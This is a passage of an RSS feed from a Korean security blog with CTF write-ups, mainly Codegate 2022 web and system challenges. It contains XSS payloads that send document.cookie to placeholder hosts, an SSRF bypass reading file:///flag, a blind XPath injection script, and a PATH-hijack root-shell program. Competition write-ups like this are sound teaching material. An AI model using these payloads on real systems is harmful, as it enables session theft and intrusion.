Content: &amp;lt;img src=&amp;quot;*/};location.href=`//server/`+document.cookie;//&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;FLAG : LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>ctf writeup</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/75</guid>
      <comments>https://as3617.tistory.com/75#entry75comment</comments>
      <pubDate>Sun, 27 Mar 2022 22:44:40 +0900</pubDate>
    </item>
    <item>
      <title>Codegate 2022 Preliminary writeup</title>
      <link>https://as3617.tistory.com/74</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;CAFE&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 문제다. 하지만&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/155877016-8b884375-fb6d-403a-b940-a269ed698f6a.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bot 코드에 지워지지 않은 admin의 패스워드로 인해 로그인하고 나면 손쉽게 플래그를 획득할 수 있다. 인텐 풀이는 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;function filterHtml($content) {
    $result = '';

    $html = new simple_html_dom();
    $html-&amp;gt;load($content);
    $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];

    foreach($allowTag as $tag){
      foreach($html-&amp;gt;find($tag) as $element) {
        switch ($tag) {
          case 'a':
            $result .= '&amp;lt;a href=&quot;' . str_replace('&quot;', '', $element-&amp;gt;href) . '&quot;&amp;gt;' . htmlspecialchars($element-&amp;gt;innertext) . '&amp;lt;/a&amp;gt;';
            break;
          case 'img':
            $result .= '&amp;lt;img src=&quot;' . str_replace('&quot;', '', $element-&amp;gt;src) . '&quot;&amp;gt;' . '&amp;lt;/img&amp;gt;';
            break;
          case 'p':
          case 'span':
          case 'b':
          case 'h1':
          case 'h2':
          case 'h3':
          case 'h4':
          case 'h5':
          case 'h6':
          case 'strong':
          case 'em':
          case 'code':
            $result .= '&amp;lt;' . $tag . '&amp;gt;' . htmlspecialchars($element-&amp;gt;innertext) . '&amp;lt;/' . $tag . '&amp;gt;';
            break;
          case 'iframe':
            $src = $element-&amp;gt;src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '&amp;lt;iframe src=&quot;'. str_replace('&quot;', '', $src) .'&quot;&amp;gt;&amp;lt;/iframe&amp;gt;';
            }
            break;
        }
      }
    }
    return $result;
  }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/libs/utils.php&lt;/code&gt;의 filterHtml 코드를 보면 사용가능한 태그들이 한정되어있다. a tag, img 태그 등 여러 태그가 사용 가능한데 double quote를 지우기 때문에 임의의 attribute를 탈출하는 것은 힘들다. 그럼 이제 사용가능한 것은 iframe인데 iframe의 src 속성에 들어가는 url은 php의 parse_url함수를 이용하여 host부분만 검사하는 것을 알 수 있다. scheme 쪽은 검사하지 않기 때문에 javascript scheme을 사용하는 것이 가능한데 이때 간단한 트릭을 사용하면 임의의 함수를 실행하는 것이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/155877187-d098dc0e-fb87-4101-80a9-9a6c57466d06.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보면 절대 실행이 안될 것 같은 페이로드 임에도 script가 정상적으로 실행이 된다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/155877203-04f32c7f-1958-4839-bd74-50d223d7b2de.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;javascript: scheme뒤에 오는 &lt;code&gt;//&lt;/code&gt;는 한 줄 주석이기 때문에 뒤에 오는 &lt;code&gt;aaaa.com#&lt;/code&gt;까지를 주석처리하고 그 뒤의 개행으로 인해 console.log(1)은 주석처리가 되지 않아서 정상적으로 실행이 된 것을 볼 수 있다. 이를 이용하면 iframe src에 우리가 원하는 url을 넣고 script를 실행하여 admin의 세션을 탈취하는 것이 가능하다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;Payload : &amp;lt;iframe src=&quot;javascript://youtube.com#%0anavigator.sendBeacon('myserver',document.cookie)&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;FLAG : codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Superbee&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것도 언인텐으로 인해 풀이수가 굉장히 많다.&lt;br /&gt;admin의 패스워드가 password라서 로그인하면 그냥 플래그를 얻을 수 있다.&lt;br /&gt;인텐 풀이는 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;func (this *BaseController) Prepare() {
    controllerName, _ := this.GetControllerAndAction()
    session := this.Ctx.GetCookie(Md5(&quot;sess&quot;))

    if controllerName == &quot;MainController&quot; {
        if session == &quot;&quot; || session != Md5(admin_id + auth_key) {
            this.Redirect(&quot;/login/login&quot;, 403)
            return
        }
    } else if controllerName == &quot;LoginController&quot; {
        if session != &quot;&quot; {
            this.Ctx.SetCookie(Md5(&quot;sess&quot;), &quot;&quot;)
        }
    } else if controllerName == &quot;AdminController&quot; {
        domain := this.Ctx.Input.Domain()

        if domain != &quot;localhost&quot; {
            this.Abort(&quot;Not Local&quot;)
            return
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main.go를 보면 각 controller로 routing해주기 전에 여러 체크 로직이 존재하는 것을 알 수 있다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;func (this *MainController) Index() {
    this.TplName = &quot;index.html&quot;
    this.Data[&quot;app_name&quot;] = app_name
    this.Data[&quot;flag&quot;] = flag
    this.Render()
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 얻으려면 MainController에 접근해야하는데 admin의 password를 모르고 있는 상황이기 때문에 접근이 불가능하다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;func (this *LoginController) Auth() {
    id := this.GetString(&quot;id&quot;)
    password := this.GetString(&quot;password&quot;)

    if id == admin_id &amp;amp;&amp;amp; password == admin_pw {
        this.Ctx.SetCookie(Md5(&quot;sess&quot;), Md5(admin_id + auth_key), 300)

        this.Ctx.WriteString(&quot;&amp;lt;script&amp;gt;alert('Login Success');location.href='/main/index';&amp;lt;/script&amp;gt;&quot;)
        return
    }
    this.Ctx.WriteString(&quot;&amp;lt;script&amp;gt;alert('Login Fail');location.href='/login/login';&amp;lt;/script&amp;gt;&quot;)
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Auth 쪽을 보면 로그인이 성공했을 때 세션 값을 adminid + auth_key를 md5한 값으로 설정하는 것을 알 수 있다.&lt;br /&gt;admin의 id는 admin이기 때문에 auth_key만 구하면 되는데&lt;/p&gt;
&lt;pre class=&quot;go&quot;&gt;&lt;code&gt;func (this *AdminController) AuthKey() {
    encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
    this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AuthKey함수에서 auth_key를 aes로 암호화한 값을 리턴해주는 것을 알 수 있다.&lt;br /&gt;그런데 잘 보면 auth_crypt_key 값은 app.conf에 설정이 안되있기 때문에 null이라는 것을 알 수 있다.&lt;br /&gt;그럼 만약 해시를 구한다면 간단하게 decrypt할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;} else if controllerName == &quot;AdminController&quot; {
        domain := this.Ctx.Input.Domain()

        if domain != &quot;localhost&quot; {
            this.Abort(&quot;Not Local&quot;)
            return
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 해당 부분에 접근하려면 위의 조건 문을 통과해야하는데 이는 간단하게 Host 부분을 localhost로 수정해서 리퀘스트를 보내는 것으로 해결할 수 있다. 그럼 이제 encrypt된 hash를 얻을 수 있고 decrypt하여 auth_key를 구한 다음 session을 만들어서 MainController에 접근하면 플래그를 얻을 수 있다.&lt;/p&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;FLAG : codegate2022{d9adbe86f4ecc93944e77183e1dc6342}&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;babyFirst&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jsp로 만들어진 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 아래의 코드에서 발생한다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;private static String lookupImg(String memo) {
    Pattern pattern = Pattern.compile(&quot;(\\[[^\\]]+\\])&quot;);
    Matcher matcher = pattern.matcher(memo);
    String img = &quot;&quot;;
    if (matcher.find()) {
      img = matcher.group();
    } else {
      return &quot;&quot;;
    } 
    String tmp = img.substring(1, img.length() - 1);
    tmp = tmp.trim().toLowerCase();
    pattern = Pattern.compile(&quot;^[a-z]+:&quot;);
    matcher = pattern.matcher(tmp);
    if (!matcher.find() || matcher.group().startsWith(&quot;file&quot;))
      return &quot;&quot;; 
    String urlContent = &quot;&quot;;
    try {
      URL url = new URL(tmp);
      BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
      String inputLine = &quot;&quot;;
      while ((inputLine = in.readLine()) != null)
        urlContent = urlContent + inputLine + &quot;\n&quot;; 
      in.close();
    } catch (Exception e) {
      return &quot;&quot;;
    } 
    Base64.Encoder encoder = Base64.getEncoder();
    try {
      String encodedString = new String(encoder.encode(urlContent.getBytes(&quot;utf-8&quot;)));
      memo = memo.replace(img, &quot;&amp;lt;img src='data:image/jpeg;charset=utf-8;base64,&quot; + encodedString + &quot;'&amp;gt;&amp;lt;br/&amp;gt;&quot;);
      return memo;
    } catch (Exception e) {
      return &quot;&quot;;
    } 
  }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lookupImg함수에서 임의의 url로 요청을 보낼 수 있는데 해당 부분을 이용하면 내부 파일에 접근하여 flag를 읽어올 수 있다.&lt;br /&gt;일단 URL함수에서 사용 가능한 protocol에는 아래의 것이 있다.&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot;&gt;&lt;code&gt;http
htts
ftp
file
jar&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 file scheme이 사용가능한데 &lt;code&gt;if (!matcher.find() || matcher.group().startsWith(&quot;file&quot;))&lt;/code&gt; 와 같이 file scheme으로 시작하는 경우 lookup을 안한다. 일단 file scheme을 사용하는 것은 맞는 것 같아서 이를 중점으로 java의 url.openstream코드를 살펴보았다.&lt;br /&gt;그리고 재미있는 부분을 찾을 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/155877803-47fe7681-853a-4015-8112-029ad6ca41d7.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/java/net/URL.java#L533&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;url:&lt;/code&gt;로 시작하면 시작 글자를 4글자 뒤로 옮긴다. 그럼 위의 필터를 우회해서 플래그를 읽을 수 있을 것이다.&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;Payload : [url:file:///flag]&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;FLAG : codegate2022{8953bf834fdde34ae51937975c78a895863de1e1}&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;myblog&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제도 jsp로 만들어졌다.&lt;br /&gt;취약점은 doReadArticle에서 터진다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;private String[] doReadArticle(HttpServletRequest req) {
    String id = (String)req.getSession().getAttribute(&quot;id&quot;);
    String idx = req.getParameter(&quot;idx&quot;);
    if (&quot;null&quot;.equals(id) || idx == null)
      return null; 
    File userArticle = new File(this.tmpDir + &quot;/article/&quot;, id + &quot;.xml&quot;);
    try {
      InputSource is = new InputSource(new FileInputStream(userArticle));
      Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(is);
      XPath xpath = XPathFactory.newInstance().newXPath();
      String title = (String)xpath.evaluate(&quot;//article[@idx='&quot; + idx + &quot;']/title/text()&quot;, document, XPathConstants.STRING);
      String content = (String)xpath.evaluate(&quot;//article[@idx='&quot; + idx + &quot;']/content/text()&quot;, document, XPathConstants.STRING);
      title = decBase64(title.trim());
      content = decBase64(content.trim());
      return new String[] { title, content };
    } catch (Exception e) {
      System.out.println(e.getMessage());
      return null;
    } 
  }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대놓고 xpath injection이 터진다. 근데 플래그는 전혀 다른 곳에 있다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;FROM ubuntu:20.04

RUN apt-get -y update &amp;amp;&amp;amp; apt-get -y install software-properties-common

RUN apt-get install -y openjdk-11-jdk

RUN apt-get -y install wget
RUN mkdir /usr/local/tomcat
RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
RUN cd /tmp &amp;amp;&amp;amp; tar xvfz tomcat.tar.gz
RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
RUN rm -rf /tmp/* &amp;amp;&amp;amp; rm -rf /usr/local/tomcat/webapps/

COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/

COPY start.sh /start.sh
RUN chmod +x /start.sh

RUN echo 'flag=codegate2022{md5(flag)}' &amp;gt;&amp;gt; /usr/local/tomcat/conf/catalina.properties

CMD [&quot;/start.sh&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag는 catalina.properties에 들어가있다. 코드에는 flag 내용을 글로 작성해준다거나 그러한 것이 없기 때문에 뭔가 트릭이 필요했고 jdk의 소스코드를 읽어보았다.&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;https://github.com/JetBrains/jdk8u_jaxp/tree/master/src/com/sun/org/apache/xpath/internal&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Function을 위주로 확인해보았는데 &lt;code&gt;https://github.com/JetBrains/jdk8u_jaxp/blob/master/src/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java&lt;/code&gt;&lt;br /&gt;FuncSystemProperty라는 흥미로운 파일을 찾을 수 있었다.&lt;br /&gt;그리고 이름에서 알 수 있듯이 &lt;code&gt;https://runebook.dev/ko/docs/xslt_xpath/xpath/functions/system-property&lt;/code&gt; 역시나 system 속성을 리턴해주는 함수였다.&lt;br /&gt;그럼 이제 xpath injection을 할 때 system property를 불러오는 것이 가능하기 때문에 sql injection 하듯이 페이로드 짜서 플래그 뽑아주면 된다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;import requests
import string

pw=&quot;&quot;
a=string.printable
a=a[:-38] + &quot;{}&quot;
url = &quot;http://3.39.79.180/blog/read?idx=&quot;
cookies = {'JSESSIONID':'0736D763FF412E3286ED4ACB78613F95'}
for i in range(1,60):
    url = &quot;http://3.39.79.180/blog/read?idx=&quot;
    for j in a:
        print(pw + j)
        url=&quot;http://3.39.79.180/blog/read?idx=' or substring(system-property('flag'),&quot;+str(i)+',1)=&quot;'+str(j)+'&quot; or \''
        res=requests.get(url,cookies=cookies)
        res = res.text
        if &quot;asdf&quot; in res:
            pw+=j
            break
        else: pass
print(pw)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;llvm&quot;&gt;&lt;code&gt;FLAG : codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;vimt&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vim을 직접 구현한 것 같은 프로그램을 주는데 키보드를 누를 때마다 이상한 문자들이 적힌다. 코드를 분석해보면 compile명령을 이용하여 우리가 작성한 파일을 gcc로 컴파일 할 수 있는데 아마도 우리가 원하는 대로 글자를 쓰도록 프로그래밍해야하는 것 같았다. 근데 그러기엔 분석이 너무 복잡해서 다른 방법을 이용하였다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/155879442-d04ce95a-b133-4ff3-b1ba-318c49619fc8.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하다. 쉘을 실행하는 코드가 담긴 파일을 컴파일 한 뒤 env에 PATH를 조작하여 문제 파일에서 compile 명령을 실행했을 때 우리가 컴파일한 파일이 실행되도록 하는 것이다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;

int main()
{
    setuid(0);
    execl(&quot;/bin/bash&quot;, &quot;bash&quot;, (char *)NULL);
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드를 /tmp 폴더에 생성하고 gcc로 컴파일 한 다음에 env의 PATH를 /tmp로 설정해주면 될 것이다. 근데 이후에 문제가 한차례 수정되면서 /tmp폴더에 권한이 빠졌다. 그래도 /var/tmp에는 여전히 권한이 남아있기 때문에 /var/tmp에서 해주면 된다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/155879620-25881c7b-99b5-4e2e-868f-3a7475eba178.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/46442697/155879638-306f4cd1-a3c5-40e6-8a51-f165b80bd5f0.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시나리오 대로 쉘을 획득하였고 플래그를 읽을 수 있었다.&lt;/p&gt;
&lt;pre class=&quot;llvm&quot;&gt;&lt;code&gt;Payload :
ctf@52bad4c6c59c:~$ echo &quot;#include &amp;lt;unistd.h&amp;gt;&quot; &amp;gt; /var/tmp/a.c
ctf@52bad4c6c59c:~$ echo 'int main() { setuid(0); execl(&quot;/bin/bash&quot;, &quot;bash&quot;, (char *)NULL); return 0; }' &amp;gt;&amp;gt; /var/tmp/a.c
ctf@52bad4c6c59c:~$ gcc /var/tmp/a.c -o /var/tmp/gcc
ctf@52bad4c6c59c:~$ export PATH=/var/tmp
ctf@52bad4c6c59c:~$ ./app

- &amp;gt;

ESC + compile + enter

- &amp;gt; 

/bin/cat flag&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;llvm&quot;&gt;&lt;code&gt;FLAG : codegate2022{e63d0f9d86ddabe726db226be96548890e0d9408376a3e43011e1a12e1315168111e5535733c1155ec5b4e78b711aeef44621c8e}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>ctf writeup</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/74</guid>
      <comments>https://as3617.tistory.com/74#entry74comment</comments>
      <pubDate>Sun, 27 Feb 2022 19:59:04 +0900</pubDate>
    </item>
    <item>
      <title>hayyim CTF 2022 web writeup</title>
      <link>https://as3617.tistory.com/73</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/as3617/256b92b451a863732e6c8992cbeda0a9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/as3617/256b92b451a863732e6c8992cbeda0a9&lt;/a&gt;&lt;/p&gt;</description>
      <category>web hacking</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/73</guid>
      <comments>https://as3617.tistory.com/73#entry73comment</comments>
      <pubDate>Sun, 13 Feb 2022 21:04:20 +0900</pubDate>
    </item>
  </channel>
</rss>